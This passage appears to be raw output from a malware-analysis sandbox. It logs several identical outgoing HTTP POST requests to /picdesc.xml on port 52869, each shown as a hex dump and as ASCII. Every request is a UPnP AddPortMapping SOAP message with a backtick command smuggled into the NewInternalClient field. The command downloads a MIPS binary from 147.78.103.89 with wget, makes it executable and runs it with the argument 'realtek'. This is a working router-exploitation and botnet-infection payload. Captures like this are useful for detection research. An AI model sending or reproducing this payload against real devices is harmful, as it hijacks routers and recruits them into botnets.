                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:17.850198984 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:18.842216015 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:20.794295073 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:24.730025053 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:32.665853977 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:48.281388998 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
